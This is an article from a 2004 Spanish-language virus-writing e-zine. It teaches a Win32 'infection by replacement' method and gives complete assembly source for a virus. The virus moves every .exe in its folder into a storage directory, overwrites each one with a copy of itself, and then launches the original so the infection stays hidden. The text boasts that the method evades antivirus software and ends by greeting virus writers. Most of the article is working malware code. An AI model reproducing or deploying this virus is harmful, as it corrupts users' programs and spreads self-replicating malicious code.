(C) MITOSIS #2 E-Zine/GEDZAC 2004

                                              
Tema          : Infeccion Mediante Suplantacion de Archivos
Autor         : 3sk0rbut0
Válido para   : ASM

    INDICE:
    
    	1 .................................. INTRODUCCION.
    	2 .................................. TEORIA.
    	3 .................................. VENTAJAS Y DESVENTAJAS.
    	4 .................................. CODIFICANDO (Rutina principal).
    	5 .................................. RUTINAS.
      	  5.1 .............................. RUTINA CrearDirectorio.
      	  5.2 .............................. RUTINA ObtenerMisDatos.
      	  5.3 .............................. RUTINA MoverHost.
      	  5.4 .............................. RUTINA Suplantar.
      	  5.5 .............................. RUTINA EjecutarHost.
       	  5.6 .............................. RUTINA CopiarCadena.
    	6 .................................. DESPEDIDA.

 
1) INTRODUCCION
   ------------

Aquí expongo una forma de infección que es aplicable a cualquier lenguaje de pro-
gramación que permita  la obtención de la línea de comandos como lo es el caso de
Visual Basic con su App.path y App.exename, este articulo esta orientado hacia el
lenguaje ensamblador para win32 con la herramienta Turbo Assembler 5.0

2) TEORIA
   ------
 
Para lograr una "Infección" nos  basaremos en acciones tan sencillas que es posi-
ble realizaras a  mano, como por  ejemplo mover, renombrar  y  copiar archivos, y
otras no tan sencillas como las anteriores pero no por esto mas complejas.
Bueno, si un  virus va a  infectar archivos mediante suplantación entonces deberá
realizar lo siguiente:

        
    FIG 1.    
		 	 Directorio para almacenar los programas originales    
		 	 _________________________________________________
						  |
						  |
        ___________       ___________      _______V_________
       |           |     |           |    |                 |
       |   VIRUS   |     | CALC.EXE  |    |    VACIO        |
       |Suplantador|     |           |    |                 |
       |___________|     |___________|    |_________________|

En esta  figura tenemos al VIRUS, un programa víctima que en este caso es la cal-
culadora  de windows y  un directorio que creará el virus para almacenar los pro-
gramas originales que al comienzo está vacío.
 
       
       
    FIG 2.
		 	 Directorio para almacenar los programas originales
		 	 _________________________________________________
		 	                           |
                                                   |
        ___________       ___________       _______V_________
       |           |     |           |     |                 |
       |   VIRUS   |     | CALC.EXE  |     |     CALC.KKK    |
       |Suplantador|     |           |     |                 |
       |___________|     |___________|     |_________________|
       
En esta figura vemos como queda el asunto una vez ejecutado el virus:

Cuando el virus es ejecutado toma el archivo CALC.EXE y lo mueve al directorio
para almacenar  los programas originales, una vez que ha  movido el archivo le
cambia la extensión a KKK

Después de  lo hecho  en  el paso anterior, el virus  se copiará al directorio
donde residía la CALC.EXE original con el mismo nombre de esta.
Esta copia el virus la  efectuara  mediante la api CopyFile en conjunto con la
api  GetCommandLine  ya que para  el programador  es imposible adivinar en que
directorio se encontrara y  que nombre tendrá el virus al momento de copiarse.
       

       
    FIG 3.   
        Primero el virus infectara los programas que encuentre
        ______________________________________________________
                      |
                      |
	              |       Directorio para almacenar los programas originales
                      |       __________________________________________________
	              |                               |
                      |                               |
         ___________  V                        _______V_________
        |           |----> PROGA.EXE          |                 |
        | CALC.EXE  |----> PROGB.EXE     ---->|     CALC.KKK    |
        |           |----> PROGN.EXE    |     |                 |
        |___________|                   |     |_________________|
              |				|
              |_________________________|
                        A     
                        |
                        |
         Una vez que infecta los programas, el virus procederá a ejecutar
                               el programa original
         
         
         
En  esta figura vemos  que cuando el usuario ejecuta la CALC.EXE (que en realidad
es el virus) esta toma  el control  e infecta los programas que logre encontrar y
una  vez hecho esto  procederá a ejecutar la verdadera CALC que es la que esta en
el directorio para almacenar los programas originales y cuya extensión es KKK, de
este modo todo el proceso de infección pasa inadvertido.
Si bien  es conveniente  cambiar la extensión  del programa víctima al momento de
moverlo al directorio para  almacenar los  programas originales, no lo haré en el
código que  expongo mas abajo, debido a  que no es prioridad en este artículo, ya
que el código  se trata solo de un prototipo codificado para llevar a la practica
el tipo de infección por suplantación.
 
         
3) VENTAJAS Y DESVENTAJAS
   ----------------------

En este tipo  de infección como todo en la vida existen ventajas y desventajas de
las cuales las mas notorias son:

  VENTAJAS:

  - Una vez entendida la técnica es de fácil implementación en cualquier lenguaje
    de programación siempre y cuando el lenguaje lo permita, ya que hay lenguajes
    que no tienen funciones  para obtener  la línea de comandos completa como por
    ejemplo QBASIC

  - Un virus  con  este tipo  de infección pasará  desapercibido  ante  cualquier
    maldito antivirus ya  que esta técnica no necesariamente necesita hacer modi-
    ficaciones sobre  los  archivos e  implementa  funciones  que pueden estar en
    cualquier programa.
       
  - Un virus con  este tipo  de infección es de fácil eliminación del sistema, ya
    que solo  suplanta archivos  lo  que implica 0 dolor de cabezas al momento de
    probar el virus en su fase de programación.
     
  DESVENTAJAS:
     
  - Como el virus suplanta, los archivos suplantados  por lógica tomaran el icono
    del programa virus, si bien esto tiene solución, es imposible o extremadamen-
    te difícil aplicarla en lenguajes de alto nivel.
       
  - El proceso de infección es  lento en comparación  con otros métodos de infec-
    ción, ya que mover, copiar y renombrar un archivo toma su tiempo.
       
    
4) CODIFICANDO
   ----------- 
    
Este programa funcionará mediante un ciclo principal controlado por FindFirstFile
y FindNextFile. Vamos con el código:
      
      
.386
.model flat
;------------------------------------ Funciones apis que utilizaremos
	extrn CreateDirectoryA :proc ;Función para crear directorios
	extrn GetCommandLineA  :proc ;Función para obtener la línea de comandos
	extrn FindFirstFileA   :proc ;Función para iniciar búsqueda de archivos
	extrn FindNextFileA    :proc ;Función para continuar búsqueda de archivos
	extrn lstrcat	       :proc ;Función para concatenar cadenas
	extrn CopyFileA	       :proc ;Función para copiar archivos
	extrn MoveFileA	       :proc ;Función para mover archivos
	extrn WinExec	       :proc ;Función para ejecutar programas
	extrn ExitProcess      :proc ;Función para terminar programa
;------------------------------------
jumps
.data
; -------------------------- Estructura de datos para FindFirstFile/FindNextFile.
FILETIME struc		   ; Esta estructura se ira llenando con datos conforme
FT_dwLowDateTime    dd ?   ; vamos llamando a las apis FindFirstFile/FindNextFile
FT_dwHighDateTime   dd ?   ; Esta estructura la utilizaremos siempre que queramos
FILETIME ends		   ; utilizar FindFirstFile/FindNextFile.
Max_Path            equ 260
WIN32_FIND_DATA:
WFD_dwFileAttributes	dd       ?
WFD_ftCreationTime	FILETIME ?
WFD_ftLastAccessTime	FILETIME ?
WFD_ftLastWriteTime     FILETIME ?
WFD_nFileSizeHigh      	dd       ?
WFD_nFileSizeLow	dd       ?
WFD_dwReserved0	   	dd       ?
WFD_dwReserved1	   	dd       ?
WFD_szFileName	  	db	 Max_Path dup (?)
WFD_szAlternateFileName db	 13       dup (?)
;--------------------------   Datos para FindFirstFile/FindNextFile
Extension      db '*.exe',0 ; Extensión de los archivos que vamos a buscar
HandleBusqueda dd 0	    ; Variable donde guardo el handle devuelto
                            ; por FindFirstFile
;-------------------------- Otros datos
HostDir   db 'c:\windows\escritorio\HOSTDIR',0  ; Constante (directorio a crear)
MiCmdLine db Max_Path dup (?)	; Variable donde guardaré la línea de comandos
                                ; de este programa
MiNombre  db Max_Path dup (?)	; Variable donde guardaré el nombre de este prog.
MiRuta	  db Max_Path dup (?)	; Variable donde guardaré la ruta de este prog.
Cadena	  db Max_Path dup (?)	; Variable que usaré para trabajar con CADENAS
	
;##################### AQUI EMPIEZA EL CODIGO DEL PROGRAMA #####################
.code
INICIO:
	call CrearDirectorio   ;Llamamos a la rutina para crear el directorio
			       ;en el cual almacenaremos los programas originales

	call ObtenerMisDatos   ;Llamamos a la rutina para obtener la línea de 
                               ; comandos el nombre y la ruta de este programa.
;------------------------------------ BUSCAR PRIMER ARCHIVO
FindFirst:
	push offset WIN32_FIND_DATA ; Apunto a la estructura de datos que
                                    ; recibirá los datos devueltos.
	push offset Extension	    ; Apunto a la extensión de archivos que
                                    ; quiero buscar.
	call FindFirstFileA	    ; Llamo a la función api.
				    ; Si esta api devuelve FFFFFFFF entonces no
                                    ; encontró archivos por lo cual...
	inc eax			    ; Si el valor devuelto es FFFFFFFF + 1 es = 0
                                    ; entonces hubo error
	jz FIN			    ; Si eax = 0 no se encontraron archivos
	dec eax			    ; De lo contrario eax es un handle y lo
                                    ; dejamos eax como estaba
	mov HandleBusqueda,eax	    ; Guardo el handle para utilizarlo con
                                    ; FindNextFile
;------------------------------------
Proceso:
	mov eax,dword ptr [offset WFD_nFileSizeLow]  ; Esta es una simple
                                    ; comprobación para asegurarnos de no
	cmp eax,00001000h	    ; estarnos suplantando a nosotros mismos
	je BuscarSiguiente	    ; si el WFD_nFileSizeLow de el archivo
                                    ; encontrado es = a 00001000h entonces se
                                    ; trata de una copia nuestra ya que el
                                    ; WFD_nFileSizeLow de este programa es 1000h,
                                    ; por lo cual vamos a buscar el siguiente
                                    ; archivo.

	call MoverHost		    ; Llamo a la rutina para mover el archivo
                                    ; encontrado al directorio donde guardo
                                    ; los programas originales.
	call Suplantar		    ; Llamo a la rutina para suplantar el archivo
                                    ; encontrado.
	
;------------------------------------ BUSCAR SIGUIENTE ARCHIVO
BuscarSiguiente:
	push offset WIN32_FIND_DATA ; Apunto a la estructura de datos que 
                                    ; recibirá los datos devueltos.
	push HandleBusqueda	    ; Apunto al handle devuelto por FindFirstFile
	call FindNextFileA	    ; Llamo a la función api.
	cmp eax,0		    ; Si la función no encuentra mas 
                                    ; archivos EAX = 0
	jne Proceso		    ; Y si eax no es 0 entonces saltamos a 
                                    ; proceso para suplantar el archivo
				    ; De lo contrario este salto no se ejecutará
                                    ; y se ejecutara el código que sigue.
;------------------------------------
FIN:
	call EjecutarHost	    ; Rutina para ejecutar el programa original
	call ExitProcess	    ; Función para finalizar este programa
	
	
;##################### AQUI FINALIZA EL CODIGO DEL PROGRAMA #####################

5) RUTINAS
   ------- 

Aquí están las rutinas que forman parte del ciclo principál.
	
5.1 RUTINA CrearDirectorio
    ----------------------

Con esta rutina creamos el directorio para almacenar los programas originales.
  
	CrearDirectorio proc
		push 0			; NULL
		push offset HostDir	; Apunto a la constante que tiene la ruta
                                        ; del directorio que crearé.
		call CreateDirectoryA	; Llamo a la función api.
		ret			; Retornar del call
	CrearDirectorio endp      
 
 


5.2 RUTINA ObtenerMisDatos
    ----------------------

Con esta rutina obtenemos la línea de comandos, el nombre, y la ruta de este
programa.      

ObtenerMisDatos proc		; CON ESTE CÓDIGO VOY A OBTENER LA LINEA DE 
                                ; COMANDOS DE ESTE PROGRAMA.
	call GetCommandLineA	; Llamo a la función para obtener la línea 
                                ; de comandos
	cmp byte ptr [eax],'"'  ; Por razones de comodidad al depurar, si el
                                ; primer byte de la CmdLine es '"'
	jne ok			; Entonces estamos depurando y salto a ok
	inc eax			; De lo contrario elimino la primera comilla
	xor ecx,ecx		; ECX = 0 , será un registro contador.
	dec ecx			; lo dejo en -1
Comilla:
	inc ecx				; lo dejo en 0 incrementándolo
	cmp byte ptr [eax+ecx],'"'	; inicio la búsqueda de la maldita
                                        ; comilla comparando byte por byte
	jne Comilla			; si aun no la pillo voy por el otro byte
	mov byte ptr [eax+ecx],0	; si la encontré entonces la mato 
                                        ; cortando la cadena y ya tenemos
					; la CmdLine sin las comillas.
ok:
	mov edi,offset MiCmdLine	; Aquí copio una cadena de ECX bytes
                                        ; desde ESI hasta EDI
	mov esi,eax			; edi = Variable donde copio la cadena 
	mov ecx,ecx			; esi = Cadena que estoy copiando (Línea
                                        ; de comandos)
	rep movsb			; ecx = Longitud de la línea de comandos
                                        ; y con rep movsb copio la cadena
	
;------------------------------		; CON ESTE CÓDIGO VOY A OBTENER EL NOMBRE
                                        ; DE ESTE PROGRAMA.
	xor ecx,ecx			; ECX = 0 , limpio el contador
	dec ecx				; lo dejo en -1
FinCadena:
	inc ecx				; lo dejo en 0 incrementándolo
	cmp byte ptr [eax+ecx],0	; Inicio la búsqueda del fin de la cadena
	jne FinCadena			; Todavía no?, entonces vamos por el
                                        ; siguiente byte
					; Si llegamos al final entonces vamos con
                                        ; la siguiente parte.
Slash:
	dec ecx				; decremento ecx
	cmp byte ptr [eax+ecx],'\'	; compari byte por byte buscando el
                                        ; primer slash de atrás hacia adelante
	jne Slash			; no es igual?, entonces voy por el
                                        ; siguiente byte
	inc ecx				; Lo encontré, entonces incremento en uno
                                        ; el contador
	add eax,ecx			; y en eax (CmdLine) + ecx bytes empieza
                                        ; el nombre de este programa
	push ecx			; ECX = el tamaño de la cadena hasta el
                                        ; slash, lo guardo en la pila
	mov edi,offset MiNombre		; Aquí copio una cadena de ECX bytes
                                        ; desde ESI hasta EDI
	mov esi,eax			; edi = Variable donde copio la cadena
	mov ecx,ecx			; esi = Cadena que estoy copiando (Nombre
                                        ; de este programa)
	rep movsb			; ecx = longitud y con rep movsb copio la
                                        ; cadena

;-------------------------------	; CON ESTE CÓDIGO VOY A OBTENER LA RUTA
                                        ; DE ESTE PROGRAMA.
	pop ecx				; Saco de la pila el tamaño de la CmdLine
                                        ; hasta el slash
	mov edi,offset MiRuta		; Aquí copio una cadena de ECX bytes
                                        ; desde ESI hasta EDI
	mov esi,offset MiCmdLine	; edi = Variable donde copio la cadena
	mov ecx,ecx			; esi = Cadena que estoy copiando (Ruta
                                        ; de este programa)
	rep movsb			; ecx = longitud de la cadena y con rep
                                        ; movsb copio la cadena
	ret				; retornar del call
ObtenerMisDatos endp 

     

5.3 RUTINA MoverHost
    ----------------

Con esta rutina movemos el/los programa víctima al directorio de los programas
originales.

MoverHost proc
					; AQUI HAGO UNA COPIA DE LA CADENA
                                        ; HostDir EN EAX
	mov esi, offset HostDir		; Muevo a ESI la cadena HostDir
	call CopiarCadena		; y llamo a la función CopiarCadena que
                                        ; devuelve en EAX
					; una copia de la cadena apuntada por ESI
					; (Hago una copia de la cadena para que
                                        ; no se modifiquen
					; las variables originales)
	
	mov edx,offset WFD_szFileName	; EDX = nombre del programa encontrado
	dec edx				; decremento el nombre en un byte para
                                        ; adjuntarle un slash al comienzo.
	mov byte ptr [edx],'\'		; le adjunto el slash.
	
	
			; AQUI JUNTO LAS CADENAS HostDir + WFD_szFileName
	push edx 	; EDX = Cadena a concatenar
	push eax 	; EAX = Cadena donde concateno que es = a la
                        ; copia de la cadena HostDir
	call lstrcat	; Llamo a la función para concatenar cadenas
			; y en EAX me devuelve las cadenas HostDir+WFD_szFileName
	
					; AQUI MUEVO EL PROGRAMA ENCONTRADO A LA
                                        ; CARPETA HostDir
	push eax			; EAX = Destino donde voy a mover el
                                        ; programa (HostDir+WFD_szFileName)
	push offset WFD_szFileName	; Nombre del programa que voy a mover
                                        ; (WFD_szFileName)
	call MoveFileA			; Llamo a la función para mover archivos
	ret				; Retorno del call
MoverHost endp      


5.4 RUTINA Suplantar
    ----------------

Con esta rutina suplantamos el programa víctima.

Suplantar proc		    ; AQUI ME COPIO SUPLANTANDO AL PROGRAMA ORIGINAL
	push 0			    ; Sobreescribir si existe
	push offset WFD_szFileName  ; DESTINO (Nombre del programa original)
	push offset MiCmdLine	    ; ORIGEN (Mi linea de comandos)
	call CopyFileA		    ; llamamos a la api para copiar archivos
	ret			    ; Retorno del call
Suplantar endp

5.5 RUTINA EjecutarHost
    --------------------

Con esta rutina ejecutamos el programa original.
	
EjecutarHost proc
				; AQUI HAGO UNA COPIA DE LA CADENA HostDir EN EAX
	mov esi, offset HostDir	; Muevo a ESI la cadena HostDir.
	call CopiarCadena	; y llamo a la función CopiarCadena que devuelve
                                ; en EAX una copia de la cadena apuntada por ESI.

	mov edx,offset MiNombre	; Muevo a EDX el nombre de este programa
	dec edx			; Decremento el nombre en un byte para adjuntarle
                                ; un slash al comienzo.
	mov byte ptr [edx],'\'	; y le adjunto el slash
 
 				; AQUI JUNTO LAS CADENAS HostDir + MiNombre
	push edx 		; EDX = Cadena a concatenar
	push eax 		; EAX = Cadena donde concateno que es = a la
                                ; copia de la cadena HostDir
	call lstrcat		; Llamo a la función para concatenar cadenas y en
				; EAX me devuelve las cadenas HostDir+MiNombre
				; AQUI EJECUTO EL PROGRAMA ORIGINAL
	push 1			; 1 = Ventana normal
	push eax		; EAX = HostDir+MiNombre que es la ruta y nombre
                                ; del programa que voy a ejecutar
	call WinExec		; Llamo a la función para ejecutar programas
	ret			; Retorno del call
	
EjecutarHost endp



5.6 RUTINA CopiarCadena
    -------------------

Con esta rutina copiamos cadenas.

CopiarCadena proc

				; ESI = ENTRADA (Muevo a ESI la cadena que voy a
				; copiar antes de llamar a esta función)
				; EAX = CADENA SALIDA (Copia de la cadena
				; apuntada por ESI)
	push edx		; Por casualidad meto a la pila los registros que
				; utiliza esta rutina
	push esi		; a excepcion de ESI y EAX que son los registros
				; de entrada y salida respectivamente.

	xor edx,edx		; EDX = 0, utilizaré el byte DH de este registro
				; para trabajar con bytes
	xor ecx,ecx		; ECX = 0, lo utilizaré como contador
	dec ecx			; ECX = -1
	mov eax,offset Cadena	; EAX = Cadena donde haré la copia
Copiar:
	inc ecx				; ECX = 0, ya que lo había decrementado
					; anteriormente
	mov dh,byte ptr [esi+ecx]	; Muevo a DH un byte de la cadena de
					; origen apuntada por ESI
	mov [eax+ecx],dh		; Y copio a EAX el byte que contiene DH
	cmp byte ptr [esi+ecx],0	; Llegué al final de la cadena apuntada
					; por ESI?
	jne Copiar			; Si no, voy a copiar el siguiente byte

	pop esi				; Saco de la pila los registros que 
					; guardé al iniciar esta rutina
	pop edx				;
	ret				; Retorno del call
	
CopiarCadena endp	

6) DESPEDIDA
   ---------

Espero que este artículo les haya sido de su interés, bueh, un saludo a todos los
escritores de virus del mundo.

(C) MITOSIS #2 E-Zine/GEDZAC 2004